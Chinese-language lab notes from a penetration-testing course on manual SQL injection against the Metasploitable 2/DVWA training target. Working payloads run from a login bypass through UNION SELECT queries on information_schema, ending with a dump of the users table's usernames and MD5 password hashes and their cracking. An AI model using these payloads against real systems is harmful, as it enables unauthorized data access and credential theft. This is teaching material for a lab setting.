任務089:KALI版本更新(第一個ROLLING RELEASE)和手動漏洞挖掘(SQL注入)
筆記
靶機metasploitable-linux-2.0.0
-
sql注入介紹
服務器端程序將用戶輸入參數作爲查詢條件,直接拼接SQL語句,並將查詢結果返回給客戶端瀏覽器
也可以控制到客戶端,也可以用sql注入上發文件,sql注入也讀取文件
其實注入的都是sql語句
1.1.原理下面是一個比如無需密碼登陸
1.1.2.這個是正常情況下 SELECT * FROM users WHERE user=‘裏面是用戶輸入的賬號 AND password=‘裏面是用戶輸入的密碼‘
1.1.3.注入無需密碼登陸SELECT * FROM users WHERE user=‘賬號還是原賬號’ AND password=’‘空格OR’1’=‘1’
上面那個輸入密碼的地方’‘空格OR’1’='1’意思介紹,‘空密碼’ OR是邏輯運算符或1=1這兩個數都是真條件就滿足,滿足就是真,賬號對密碼對就登陸成功了。
應爲服務器端沒有過嚴格的過濾導致的注入 -
開始實驗靶機metasploitable-linux-2.0.0
正常情況下
2.1.基於報錯的檢查方法
‘ “ % ( )
判斷報錯就能判斷是否訪問數據庫
輸入個’發現報錯了說明可能帶是叫‘帶入了數據庫
2.2.基於布爾的檢查方式
1’ and ‘1’=‘1
或1’ and ‘1
1’ and ‘1’=‘2 或1’ and ‘0
2.2.1.使用1’ and ‘1’=‘1
發現輸入可以正常顯示說明
應爲1 然後 邏輯and或運算符1=1兩個都是真所有可以正常顯示
下面是1=2爲假數據庫就報錯了
and竟然是邏輯或那沒就直接可以and '1這個也是真
發現可以正常返回正常頁面
2.3.查看sql語句查看了多少查詢的字段
查看字段可以進行進一步的的注入方法,每個查詢的字段都有可能是我們注入更好的選擇
有的時候檢查的有2個字段,但是字段是*的話 應爲星的所有字段那麼檢查的時候可能會查詢10幾個或者是20幾個
下面那可以看到有2個字段
這個輸入輸入都一樣‘order by
要查詢多少個語句 –
如果查詢錯了那就返回頁面報錯
點擊提交
發現抱錯了,抱錯說明不是50個字段
然後在9,發現也報錯了,說明也不是9字段
然後在2發現沒有返回任何東西,說明是2個字段,要是1也不會返回任何東西只能是大於才進行報錯
可以用burp工具
2.4.聯合查詢union 和union all
2.4.1.union
使用union來選擇查詢
’ union select 1,2 --
‘ 最後是有個空格的自己加上,上面我已經知道有2個所以這個我就選擇查詢1到2個
第一個’是進行給前面閉合的,後面–是註釋的符號
下面是演示叫字段顯示出來
2.4.2查詢用戶1'union select user(),2 --
最後是有個空格的自己加上,
這個user()查詢當前用戶
2還是查詢2個字段
看一下結果
下面都是利用這2個這個字段來進行查詢的
2.4.3.查看版本
' union select user() ,version() --
最後是有個空格的自己加上,下面介紹
version()是sql函數他是查看版本的
看一下結果
2.4.4.查看當前目錄
' union select user() ,@@datadir --
最後是有個空格的自己加上,下面介紹
@@datadir 是查看當前目錄
看一下結果
2.4.5.查看目標電腦用戶名
' union select user() ,@@hostname --
最後是有個空格的自己加上,下面介紹
@@hostname是查看電腦用戶名
看一下結果
2.4.6.查看系統
' union select user() ,@@version_compile_os --
最後是有個空格的自己加上,下面介紹
@@version_compile_os是查看系統類型的
看一下結果
2.4.7.叫所有的函數放到一個字段裏
' union select user() ,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) --
最後是有個空格的自己加上,下面介紹
CONCAT_WS()就是在一個字段裏面執行多個函數
查看一下結果
2.5.mysq查看information_schema
數據庫內容
information_schema
數據庫是 MySQL 自帶的信息數據庫information_schema是sql自帶的信息庫存放這MySQL服務器所有數據庫的信息
2.5.1.' union select table_name,table_schema from information_schema.tables--
最後是有個空格的自己加上,下面介紹
第一個字段是table_name
第二個字段是table_schema
information_schema.tables
意思是查看information_schema
數據庫裏面的tables
表的字段table_name
和字段table_schema
裏面的內容
看一下結果
2.5.2.統計一下所有的庫和表的數量
' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --
最後是有個空格的自己加上,下面介紹information_schema
庫,查看庫然後用count(*)
來計數計算
group by
是進行會總就是,有重複的就顯示一個,會總的是table_schema
是列名
看一下結果
我發現存在一個漏洞都可以叫所有庫和表都能查出來
2.5.3.查看DVWA庫裏面的表
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--
最後是有個空格的自己加上,下面介紹
在前面基礎加上了where函數 table_schema='dvwa’意思是隻查dvwa庫
看一下結果
可以看的有個users的表名裏面可能放着用戶密碼,users是最有可能懷疑的對象
2.5.4.查看users表裏面的列
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--
最後是有個空格的自己加上,下面介紹
還是查看的information_schema這個數據庫裏面的columns表裏面的table_schema列裏面是dvwa的數據
where table_schema='dvwa’在這個dvwa查看users表裏都有什麼列
看一下結果
發現了 user裏面可能放着賬號
發現了password裏面可能放着密碼
2.5.5.查看 user列和password列的內容
' union select user,password from dvwa.users--
最後是有個空格的自己加上,下面介紹
查看dvwa數據庫裏面的users表裏面的user和password列裏面的數據
看一下結果
可以看的列出來了的所有的用戶和密碼
密碼被加密了
下面是進行解碼 -
解密
下面是進行解密上面的懷疑是哈希值的
用hash-identifier工具進行看看是什麼進加密的,這個工具kali自帶
發現是MD5
可以去百度進行md5解碼
可以看見密碼了
|| |
|–|--|
| | |